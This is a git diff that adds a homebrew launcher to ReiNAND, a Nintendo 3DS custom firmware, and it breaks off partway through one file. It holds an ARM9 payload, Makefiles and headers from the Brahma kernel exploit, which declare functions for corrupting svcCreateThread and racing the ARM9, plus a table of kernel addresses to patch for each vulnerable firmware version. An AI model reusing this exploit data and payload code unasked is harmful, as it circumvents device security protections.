diff --git a/.gitignore b/.gitignore index 603ba5e..3a28efb 100644 --- a/.gitignore +++ b/.gitignore @@ -2,4 +2,10 @@ build.bat data/firmware.bin out mset -build \ No newline at end of file +build +*.bin +*.3dsx +*.smdh +*.o +*.d +*.elf \ No newline at end of file diff --git a/Makefile b/Makefile index 843b2cb..37c17d6 100644 --- a/Makefile +++ b/Makefile @@ -19,6 +19,7 @@ dir_mset := mset dir_out := out dir_emu := emunand dir_thread := thread +dir_ninjhax := ninjhax ASFLAGS := -mlittle-endian -mcpu=arm946e-s -march=armv5te CFLAGS := -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main @@ -30,27 +31,43 @@ objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \ .PHONY: all -all: launcher +all: launcher emunand thread ninjhax .PHONY: launcher -launcher: $(dir_out)/ReiNand.dat +launcher: $(dir_out)/ReiNand.dat + +.PHONY: emunand +emunand: $(dir_out)/rei/emunand/emunand.bin + +.PHONY: thread +thread: $(dir_out)/rei/thread/arm9.bin + +.PHONY: ninjhax +ninjhax: $(dir_out)/3ds/ .PHONY: clean clean: @$(MAKE) $(FLAGS) -C $(dir_mset) clean + @$(MAKE) $(FLAGS) -C $(dir_ninjhax) clean rm -rf $(dir_out) $(dir_build) .PHONY: $(dir_out)/ReiNand.dat -$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/ $(dir_out)/rei/thread/arm9.bin $(dir_out)/rei/emunand/emunand.bin +$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/ @$(MAKE) $(FLAGS) -C $(dir_mset) launcher dd if=$(dir_build)/main.bin of=$@ bs=512 seek=256 +$(dir_out)/3ds/: + @mkdir -p "$(dir_out)/3ds/ReiNand" + @$(MAKE) -C $(dir_ninjhax) + @cp -av $(dir_ninjhax)/ninjhax.3dsx $(dir_out)/3ds/ReiNand/ReiNand.3dsx + @cp -av $(dir_ninjhax)/ninjhax.smdh $(dir_out)/3ds/ReiNand/ReiNand.smdh + $(dir_out)/rei/: $(dir_data)/firmware.bin $(dir_data)/splash.bin @mkdir -p "$(dir_out)/rei" @cp -av $(dir_data)/*bin $@ $(dir_out)/rei/thread/arm9.bin: $(dir_thread) - @$(MAKE) -C $(dir_thread) + @$(MAKE) $(FLAGS) -C $(dir_thread) @mkdir -p "$(dir_out)/rei/thread" @mv $(dir_thread)/arm9.bin $(dir_out)/rei/thread diff --git a/ninjhax/Makefile b/ninjhax/Makefile new file mode 100644 index 0000000..1cf3dd1 --- /dev/null +++ b/ninjhax/Makefile @@ -0,0 +1,177 @@ +#--------------------------------------------------------------------------------- +.SUFFIXES: +#--------------------------------------------------------------------------------- + +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +TOPDIR ?= $(CURDIR) +include $(DEVKITARM)/3ds_rules + +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# DATA is a list of directories containing data files +# INCLUDES is a list of directories containing header files +# +# NO_SMDH: if set to anything, no SMDH file is generated. +# APP_TITLE is the name of the app stored in the SMDH file (Optional) +# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) +# APP_AUTHOR is the author of the app stored in the SMDH file (Optional) +# ICON is the filename of the icon (.png), relative to the project folder. +# If not set, it attempts to use one of the following (in this order): +# - .png +# - icon.png +# - /default_icon.png +#--------------------------------------------------------------------------------- +TARGET := $(notdir $(CURDIR)) +BUILD := build +SOURCES := source +DATA := data +INCLUDES := include +APP_TITLE := ReiNAND +APP_DESCRIPTION := N3DS CFW +APP_AUTHOR := Reisyukaku + +#--------------------------------------------------------------------------------- +# options for code generation +#--------------------------------------------------------------------------------- +ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard + +CFLAGS := -g -Wall -O3 -mword-relocations \ + -fomit-frame-pointer -ffast-math \ + $(ARCH) + +CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -w + +CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 -w + +ASFLAGS := -g $(ARCH) +LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) + +LIBS := -lctru -lm + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := $(CTRULIB) + + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- + +export OUTPUT := $(CURDIR)/$(TARGET) +export TOPDIR := $(CURDIR) + +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) + +export DEPSDIR := $(CURDIR)/$(BUILD) + +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) payload.bin + +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) +#--------------------------------------------------------------------------------- + export LD := $(CC) +#--------------------------------------------------------------------------------- +else +#--------------------------------------------------------------------------------- + export LD := $(CXX) +#--------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------- + +export OFILES := $(addsuffix .o,$(BINFILES)) \ + $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) + +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) + +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) + +ifeq ($(strip $(ICON)),) + icons := $(wildcard *.png) + ifneq (,$(findstring $(TARGET).png,$(icons))) + export APP_ICON := $(TOPDIR)/$(TARGET).png + else + ifneq (,$(findstring icon.png,$(icons))) + export APP_ICON := $(TOPDIR)/icon.png + endif + endif +else + export APP_ICON := $(TOPDIR)/$(ICON) +endif + +.PHONY: $(BUILD) clean all + +#--------------------------------------------------------------------------------- +all: payload.bin $(BUILD) + +$(BUILD): + @echo $(SFILES) + @[ -d $@ ] || mkdir -p $@ + @make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +payload.bin : + @cd data/payload && make +#--------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf + @cd data/payload && make clean + +#--------------------------------------------------------------------------------- +else + +DEPENDS := $(OFILES:.o=.d) + +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +ifeq ($(strip $(NO_SMDH)),) +.PHONY: all +all : $(OUTPUT).3dsx $(OUTPUT).smdh +endif +cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label +$(OUTPUT).3dsx : $(OUTPUT).elf +$(OUTPUT).elf : $(OFILES) + +#--------------------------------------------------------------------------------- +# you need a rule like this for each extension you use as binary data +#--------------------------------------------------------------------------------- +%.bin.o : %.bin +#--------------------------------------------------------------------------------- + @echo $(notdir $<) + @$(bin2o) + +# WARNING: This is not the right way to do this! TODO: Do it right! +#--------------------------------------------------------------------------------- +%.vsh.o : %.vsh +#--------------------------------------------------------------------------------- + @echo $(notdir $<) + @python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin + @bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@ + @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h + @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h + @echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h + @rm ../$(notdir $<).shbin + +-include $(DEPENDS) + +#--------------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------------- diff --git a/ninjhax/data/payload/Makefile b/ninjhax/data/payload/Makefile new file mode 100644 index 0000000..3377528 --- /dev/null +++ b/ninjhax/data/payload/Makefile @@ -0,0 +1,134 @@ +#--------------------------------------------------------------------------------- +.SUFFIXES: +#--------------------------------------------------------------------------------- + +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +include $(DEVKITARM)/ds_rules + +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# DATA is a list of directories containing data files +# INCLUDES is a list of directories containing header files +# SPECS is the directory containing the important build and link files +#--------------------------------------------------------------------------------- +export TARGET := $(shell basename $(CURDIR)) +BUILD := build +SOURCES := source source/fatfs source/decryptor +DATA := data +INCLUDES := include source source/fatfs + +#--------------------------------------------------------------------------------- +# Setup some defines +#--------------------------------------------------------------------------------- + +#--------------------------------------------------------------------------------- +# options for code generation +#--------------------------------------------------------------------------------- +ARCH := -mthumb -mthumb-interwork + +CFLAGS := -g -Wall -O2\ + -march=armv5te -mtune=arm946e-s -fomit-frame-pointer\ + -ffast-math -std=c99 -mthumb\ + $(ARCH) + +CFLAGS += $(INCLUDE) -DARM9 + +CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions + +ASFLAGS := -g $(ARCH) +LDFLAGS = -nostartfiles -g --specs=../stub.specs $(ARCH) -Wl,-Map,$(TARGET).map + +LIBS := + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- + +export OUTPUT := $(CURDIR) + +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) + +export DEPSDIR := $(CURDIR)/$(BUILD) + +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) + +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) +#--------------------------------------------------------------------------------- + export LD := $(CC) +#--------------------------------------------------------------------------------- +else +#--------------------------------------------------------------------------------- + export LD := $(CXX) +#--------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------- + +export OFILES := $(addsuffix .o,$(BINFILES)) \ + $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) + +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) + +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) + +.PHONY: $(BUILD) clean all + +#--------------------------------------------------------------------------------- +all: $(BUILD) + +$(BUILD): + @[ -d $@ ] || mkdir -p $@ + @make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +#--------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin + + +#--------------------------------------------------------------------------------- +else + +DEPENDS := $(OFILES:.o=.d) + +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +$(OUTPUT).bin : $(OUTPUT).elf +$(OUTPUT).elf : $(OFILES) + + +#--------------------------------------------------------------------------------- +%.bin: %.elf + @$(OBJCOPY) -O binary $< $@ + @rm $< + @echo built ... $(notdir $@) + +-include $(DEPENDS) + + +#--------------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------------- diff --git a/ninjhax/data/payload/source/main.c b/ninjhax/data/payload/source/main.c new file mode 100644 index 0000000..2cab283 --- /dev/null +++ b/ninjhax/data/payload/source/main.c @@ -0,0 +1,50 @@ +#include +#include +#include + +void* (*reiNand)() = 0x08000030; + +void main() +{ + /*int fbfound = 0; + unsigned char* screen = 0x20000000; + for(int i = 0; i < 0x30; i++){ + if( *((unsigned int*)(screen + i + 0)) == 0xABADF00D && + *((unsigned int*)(screen + i + 4)) == 0xDEADBEEF ){ + fbfound = 1; + screen += i; + } + } + if(!fbfound){ + screen = 0x20046500; + for(int i = 0; i < 0x30; i++){ + if( *((unsigned int*)(screen + i + 0)) == 0xABADF00D && + *((unsigned int*)(screen + i + 4)) == 0xDEADBEEF ){ + fbfound = 1; + screen += i; + } + } + } + */ + *((unsigned int*)0x080FFFC0) = 0x20000000; + *((unsigned int*)0x080FFFC4) = 0x20046500; + *((unsigned int*)0x080FFFD8) = 0; + + unsigned int* buf = 0x20400000; + unsigned int base = 0x67893421; + unsigned int seed = 0x12756342; + for(int i = 0; i < 400*1024/4; i++){ + buf[i] ^= base; + base += seed; + } + + unsigned char*src = 0x20400000; + unsigned char*dst = 0x08000000; + for(int i = 0; i < 320*1024; i++){ + dst[i] = src[i]; + } + + *(unsigned int*)0x10000020 = 0; + *(unsigned int*)0x10000020 = 0x340; + reiNand(); +} diff --git a/ninjhax/data/payload/source/start.s b/ninjhax/data/payload/source/start.s new file mode 100644 index 0000000..15bbb25 --- /dev/null +++ b/ninjhax/data/payload/source/start.s @@ -0,0 +1,75 @@ +@--------------------------------------------------------------------------------- + .section ".init" +@--------------------------------------------------------------------------------- + .global _start + .extern main + .align 4 + .arm +@--------------------------------------------------------------------------------- + b _start + NOP + NOP + NOP +_start: + MSR CPSR_c, #0xDF + LDR R0, =0x2078 + MCR p15, 0, R0,c1,c0, 0 + LDR R0, =0xFFFF001D + LDR R1, =0x1FF801D + LDR R2, =0x8000027 + LDR R3, =0x10000021 + LDR R4, =0x10100025 + LDR R5, =0x20000035 + LDR R6, =0x2800801B + LDR R7, =0x1800002D + LDR R8, =0x33333336 + LDR R9, =0x60600666 + MOV R10, #0x25 + MOV R11, #0x25 + MOV R12, #0x25 + MCR p15, 0, R0,c6,c0, 0 + MCR p15, 0, R1,c6,c1, 0 + MCR p15, 0, R2,c6,c2, 0 + MCR p15, 0, R3,c6,c3, 0 + MCR p15, 0, R4,c6,c4, 0 + MCR p15, 0, R5,c6,c5, 0 + MCR p15, 0, R6,c6,c6, 0 + MCR p15, 0, R7,c6,c7, 0 + MCR p15, 0, R8,c5,c0, 2 + MCR p15, 0, R9,c5,c0, 3 + MCR p15, 0, R10,c3,c0, 0 + MCR p15, 0, R11,c2,c0, 0 + MCR p15, 0, R12,c2,c0, 1 + LDR R0, =0x2800800C + MCR p15, 0, R0,c9,c1, 0 + MOV R0, #0x1E + MCR p15, 0, R0,c9,c1, 1 + + MOV R12, #0 + loc_9D3D54: + MOV R0, #0 + MOV R2, R12,LSL#30 + loc_9D3D5C: + ORR R1, R2, R0,LSL#5 + MCR p15, 0, R1,c7,c14, 2 + ADD R0, R0, #1 + CMP R0, #0x20 + BCC loc_9D3D5C + ADD R12, R12, #1 + CMP R12, #4 + BCC loc_9D3D54 + MOV R0, #0 + MCR p15, 0, R0,c7,c10, 4 + + MOV R0, #0 + MCR p15, 0, R0,c7,c5, 0 + + LDR R0, =0x5307D + MCR p15, 0, R0,c1,c0, 0 + + ldr r3, =main; + blx r3 + +InfiniteLoop: + b InfiniteLoop +.pool diff --git a/ninjhax/data/payload/stub.ld b/ninjhax/data/payload/stub.ld new file mode 100644 index 0000000..f96e346 --- /dev/null +++ b/ninjhax/data/payload/stub.ld @@ -0,0 +1,164 @@ +OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") +OUTPUT_ARCH(arm) +ENTRY(_start) + +MEMORY + { + ram : ORIGIN = 0x23F00000, LENGTH = 128K + } + +SECTIONS +{ + .init : + { + __text_start = . ; + KEEP (*(.init)) + . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ + } >ram = 0xff + .plt : { *(.plt) } >ram = 0xff + + .text : /* ALIGN (4): */ + { + *(.text .stub .text.* .gnu.linkonce.t.*) + KEEP (*(.text.*personality*)) + /* .gnu.warning sections are handled specially by elf32.em. */ + *(.gnu.warning) + *(.glue_7t) *(.glue_7) *(.vfp11_veneer) + . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ + } >ram = 0xff + + .fini : + { + KEEP (*(.fini)) + } >ram =0xff + + __text_end = . ; + + .rodata : + { + *(.rodata) + *all.rodata*(*) + *(.roda) + *(.rodata.*) + *(.gnu.linkonce.r*) + SORT(CONSTRUCTORS) + . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ + } >ram = 0xff + + .ARM.extab : { *(.ARM.extab* .gnu.linkonce.armextab.*) } >ram + __exidx_start = .; + .ARM.exidx : { *(.ARM.exidx* .gnu.linkonce.armexidx.*) } >ram + __exidx_end = .; + +/* Ensure the __preinit_array_start label is properly aligned. We + could instead move the label definition inside the section, but + the linker would then create the section even if it turns out to + be empty, which isn't pretty. */ + . = ALIGN(32 / 8); + PROVIDE (__preinit_array_start = .); + .preinit_array : { KEEP (*(.preinit_array)) } >ram = 0xff + PROVIDE (__preinit_array_end = .); + PROVIDE (__init_array_start = .); + .init_array : { KEEP (*(.init_array)) } >ram = 0xff + PROVIDE (__init_array_end = .); + PROVIDE (__fini_array_start = .); + .fini_array : { KEEP (*(.fini_array)) } >ram = 0xff + PROVIDE (__fini_array_end = .); + + .ctors : + { + /* gcc uses crtbegin.o to find the start of the constructors, so + we make sure it is first. Because this is a wildcard, it + doesn't matter if the user does not actually link against + crtbegin.o; the linker won't look for a file to match a + wildcard. The wildcard also means that it doesn't matter which + directory crtbegin.o is in. */ + KEEP (*crtbegin.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*(.ctors)) + . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ + } >ram = 0xff + + .dtors : + { + KEEP (*crtbegin.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*(.dtors)) + . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ + } >ram = 0xff + + .eh_frame : + { + KEEP (*(.eh_frame)) + . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ + } >ram = 0xff + + .gcc_except_table : + { + *(.gcc_except_table) + . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ + } >ram = 0xff + .jcr : { KEEP (*(.jcr)) } >ram = 0 + .got : { *(.got.plt) *(.got) } >ram = 0 + + .data ALIGN(4) : { + __data_start = ABSOLUTE(.); + *(.data) + *(.data.*) + *(.gnu.linkonce.d*) + CONSTRUCTORS + . = ALIGN(4); + __data_end = ABSOLUTE(.) ; + } >ram = 0xff + + .bss ALIGN(4) : + { + __bss_start = ABSOLUTE(.); + __bss_start__ = ABSOLUTE(.); + *(.dynbss) + *(.gnu.linkonce.b*) + *(.bss*) + *(COMMON) + . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ + __bss_end__ = ABSOLUTE(.); + __end__ = ABSOLUTE(.); + } >ram + + /* Stabs debugging sections. */ + .stab 0 : { *(.stab) } + .stabstr 0 : { *(.stabstr) } + .stab.excl 0 : { *(.stab.excl) } + .stab.exclstr 0 : { *(.stab.exclstr) } + .stab.index 0 : { *(.stab.index) } + .stab.indexstr 0 : { *(.stab.indexstr) } + .comment 0 : { *(.comment) } + /* DWARF debug sections. + Symbols in the DWARF debugging sections are relative to the beginning + of the section so we begin them at 0. */ + /* DWARF 1 */ + .debug 0 : { *(.debug) } + .line 0 : { *(.line) } + /* GNU DWARF 1 extensions */ + .debug_srcinfo 0 : { *(.debug_srcinfo) } + .debug_sfnames 0 : { *(.debug_sfnames) } + /* DWARF 1.1 and DWARF 2 */ + .debug_aranges 0 : { *(.debug_aranges) } + .debug_pubnames 0 : { *(.debug_pubnames) } + /* DWARF 2 */ + .debug_info 0 : { *(.debug_info) } + .debug_abbrev 0 : { *(.debug_abbrev) } + .debug_line 0 : { *(.debug_line) } + .debug_frame 0 : { *(.debug_frame) } + .debug_str 0 : { *(.debug_str) } + .debug_loc 0 : { *(.debug_loc) } + .debug_macinfo 0 : { *(.debug_macinfo) } + /* SGI/MIPS DWARF 2 extensions */ + .debug_weaknames 0 : { *(.debug_weaknames) } + .debug_funcnames 0 : { *(.debug_funcnames) } + .debug_typenames 0 : { *(.debug_typenames) } + .debug_varnames 0 : { *(.debug_varnames) } + .stack 0x80000 : { _stack = .; *(.stack) } + /* These must appear regardless of . */ +} diff --git a/ninjhax/data/payload/stub.specs b/ninjhax/data/payload/stub.specs new file mode 100644 index 0000000..b6c2098 --- /dev/null +++ b/ninjhax/data/payload/stub.specs @@ -0,0 +1,5 @@ +%rename link old_link + +*link: +%(old_link) -T ../stub.ld%s + diff --git a/ninjhax/data/payload/tools/Launcher.dat b/ninjhax/data/payload/tools/Launcher.dat new file mode 100644 index 0000000..c00994d Binary files /dev/null and b/ninjhax/data/payload/tools/Launcher.dat differ diff --git a/ninjhax/data/payload/tools/LauncherTemplate.dat b/ninjhax/data/payload/tools/LauncherTemplate.dat new file mode 100644 index 0000000..3bb3d1c Binary files /dev/null and b/ninjhax/data/payload/tools/LauncherTemplate.dat differ diff --git a/ninjhax/data/payload/tools/fill_with_zero.exe b/ninjhax/data/payload/tools/fill_with_zero.exe new file mode 100644 index 0000000..d45cda1 Binary files /dev/null and b/ninjhax/data/payload/tools/fill_with_zero.exe differ diff --git a/ninjhax/data/payload/tools/insert.py b/ninjhax/data/payload/tools/insert.py new file mode 100644 index 0000000..461ff75 --- /dev/null +++ b/ninjhax/data/payload/tools/insert.py @@ -0,0 +1,16 @@ +import sys; +import os + +f1 = 0 +f2 = 0 +f3 = 0 + +f1size = 0 + +with open(sys.argv[1], "rb+") as file1: + with open(sys.argv[2], "rb") as file2: + f1 = file1.read() + f2 = file2.read() + file1.seek(int(sys.argv[3], 16), os.SEEK_SET) + file1.write(f2); + \ No newline at end of file diff --git a/ninjhax/icon.png b/ninjhax/icon.png new file mode 100644 index 0000000..f476806 Binary files /dev/null and b/ninjhax/icon.png differ diff --git a/ninjhax/include/brahma.h b/ninjhax/include/brahma.h new file mode 100644 index 0000000..dc043fe --- /dev/null +++ b/ninjhax/include/brahma.h @@ -0,0 +1,32 @@ +#pragma once + +#include "exploitdata.h" + +s32 load_arm9_payload (char *filename); +s32 load_arm9_payload_from_mem (u8* data, u32 dsize); +void redirect_codeflow (u32 *dst_addr, u32 *src_addr); +void do_gshax_copy (void *dst, void *src, u32 len); +void priv_write_four (u32 address); +void user_clear_icache (void); +s32 corrupt_svcCreateThread (void); +s32 map_arm9_payload (void); +s32 map_arm11_payload (void); +void exploit_arm9_race_condition (void); +void repair_svcCreateThread (void); +s32 get_exploit_data (struct exploit_data *data); +s32 firm_reboot (); + +#define BRAHMA_NETWORK_PORT 80 + +#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04] +#define ARM_RET 0xE12FFF1E // BX LR +#define ARM_NOP 0xE1A00000 // NOP + +static u8 *g_ext_arm9_buf; +static u32 g_ext_arm9_size = 0; +static s32 g_ext_arm9_loaded = 0; + +extern void *arm11_start; +extern void *arm11_end; +extern void *arm9_start; +extern void *arm9_end; diff --git a/ninjhax/include/exploitdata.h b/ninjhax/include/exploitdata.h new file mode 100644 index 0000000..ae3698a --- /dev/null +++ b/ninjhax/include/exploitdata.h @@ -0,0 +1,204 @@ +#pragma once + +#define SYS_MODEL_NONE 0 +#define SYS_MODEL_OLD_3DS 1 +#define SYS_MODEL_NEW_3DS 2 + +#define PA_EXC_HANDLER_BASE 0x1FFF4000 +#define PA_FCRAM_BASE 0x20000000 +#define OFFS_FCRAM_MAPPED_FIRM 0x04000000 +#define OFFS_FCRAM_ARM9_PAYLOAD 0x03F00000 +#define OFFS_EXC_HANDLER_UNUSED 0xC80 +#if OFFS_FCRAM_ARM9_PAYLOAD >= OFFS_FCRAM_MAPPED_FIRM + #error ERRROR: Invalid ARM9 payload offset +#endif +#define ARM9_PAYLOAD_MAX_SIZE (OFFS_FCRAM_MAPPED_FIRM - OFFS_FCRAM_ARM9_PAYLOAD) + +/* any changes to this structure must also be applied to + the data structure following the 'arm11_globals_start' + label of arm11.s */ +typedef struct arm11_shared_data { + u32 va_pdn_regs; + u32 va_pxi_regs; + u32 va_hook1_ret; +}; + +typedef struct exploit_data { + + u32 firm_version; + u32 sys_model; // mask + + u32 va_patch_createthread; + u32 va_patch_hook1; + u32 va_patch_hook2; + u32 va_hook1_ret; + + u32 va_fcram_base; + u32 va_exc_handler_base_W; + u32 va_exc_handler_base_X; + u32 va_kernelsetstate; + + u32 va_pdn_regs; + u32 va_pxi_regs; +}; + +static struct exploit_data g_expdata; +static struct arm11_shared_data g_arm11shared; + +// add all vulnerable systems below +static const struct exploit_data supported_systems[] = { + { + 0x022E0000, // FIRM version + SYS_MODEL_NEW_3DS, // model + 0xDFF83837, // VA of CreateThread code to corrupt + 0xDFFE7A50, // VA of 1st hook for firmlaunch + 0xDFFF4994, // VA of 2nd hook for firmlaunch + 0xFFF28A58, // VA of return address from 1st hook + 0xE0000000, // VA of FCRAM + 0xDFFF4000, // VA of lower mapped exception handler base + 0xFFFF0000, // VA of upper mapped exception handler base + 0xFFF158F8, // VA of the KernelSetState syscall (upper mirror) + 0xFFFBE000, // VA PDN registers + 0xFFFC0000 // VA PXI registers + }, + { + 0x022C0600, // FIRM version + SYS_MODEL_NEW_3DS, // model + 0xDFF83837, // VA of CreateThread code to corrupt + 0xDFFE7A50, // VA of 1st hook for firmlaunch + 0xDFFF4994, // VA of 2nd hook for firmlaunch + 0xFFF28A58, // VA of return address from 1st hook + 0xE0000000, // VA of FCRAM + 0xDFFF4000, // VA of lower mapped exception handler base + 0xFFFF0000, // VA of upper mapped exception handler base + 0xFFF158F8, // VA of the KernelSetState syscall (upper mirror) + 0xFFFBE000, // VA PDN registers + 0xFFFC0000 // VA PXI registers + }, + { + 0x02220000, + SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, + 0xEFF83C9F, + 0xEFFE4DD4, + 0xEFFF497C, + 0xFFF84DDC, + 0xF0000000, + 0xEFFF4000, + 0xFFFF0000, + 0xFFF748C4, + 0xFFFD0000, + 0xFFFD2000 + }, + { + 0x02230600, + SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, + 0xEFF83737, + 0xEFFE55BC, + 0xEFFF4978, + 0xFFF765C4, + 0xF0000000, + 0xEFFF4000, + 0xFFFF0000, + 0xFFF64B94, + 0xFFFD0000, + 0xFFFD2000 + }, + { + 0x022E0000, + SYS_MODEL_OLD_3DS, + 0xDFF8383F, + 0xDFFE59D0, + 0xDFFF4974, + 0xFFF279D8, + 0xE0000000, + 0xDFFF4000, + 0xFFFF0000, + 0xFFF151C0, + 0xFFFC2000, + 0xFFFC4000 + }, + { + 0x022C0600, + SYS_MODEL_OLD_3DS, + 0xDFF8376F, + 0xDFFE4F28, + 0xDFFF4974, + 0xFFF66F30, + 0xE0000000, + 0xDFFF4000, + 0xFFFF0000, + 0xFFF54BAC, + 0xFFFBE000, + 0xFFFC0000 + }, + { + 0x02280000, + SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, + 0xEFF83733, + 0xEFFE5B30, + 0xEFFF4974, + 0xFFF76B38, + 0xF0000000, + 0xEFFF4000, + 0xFFFF0000, + 0xFFF54BAC, + 0xFFFD0000, + 0xFFFD2000 + }, + { + 0x02270400, + SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, + 0xEFF83737, + 0xEFFE5B34, + 0xEFFF4978, + 0xFFF76B3C, + 0xF0000000, + 0xEFFF4000, + 0xFFFF0000, + 0xFFF64AB0, + 0xFFFD0000, + 0xFFFD2000 + }, + { + 0x02250000, + SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, + 0xEFF83733, + 0xEFFE5AE8, + 0xEFFF4978, + 0xFFF76AF0, + 0xF0000000, + 0xEFFF4000, + 0xFFFF0000, + 0xFFF64A78, + 0xFFFD0000, + 0xFFFD2000 + }, + { + 0x02260000, + SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, + 0xEFF83733, + 0xEFFE5AE8, + 0xEFFF4978, + 0xFFF76AF0, + 0xF0000000, + 0xEFFF4000, + 0xFFFF0000, + 0xFFF64A78, + 0xFFFD0000, + 0xFFFD2000 + }, + { + 0x02240000, + SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, + 0xEFF83733, + 0xEFFE55B8, + 0xEFFF4978, + 0xFFF765C0, + 0xF0000000, + 0xEFFF4000, + 0xFFFF0000, + 0xFFF64B90, + 0xFFFD0000, + 0xFFFD2000 + } +}; diff --git a/ninjhax/include/hid.h b/ninjhax/include/hid.h new file mode 100644 index 0000000..527d22c --- 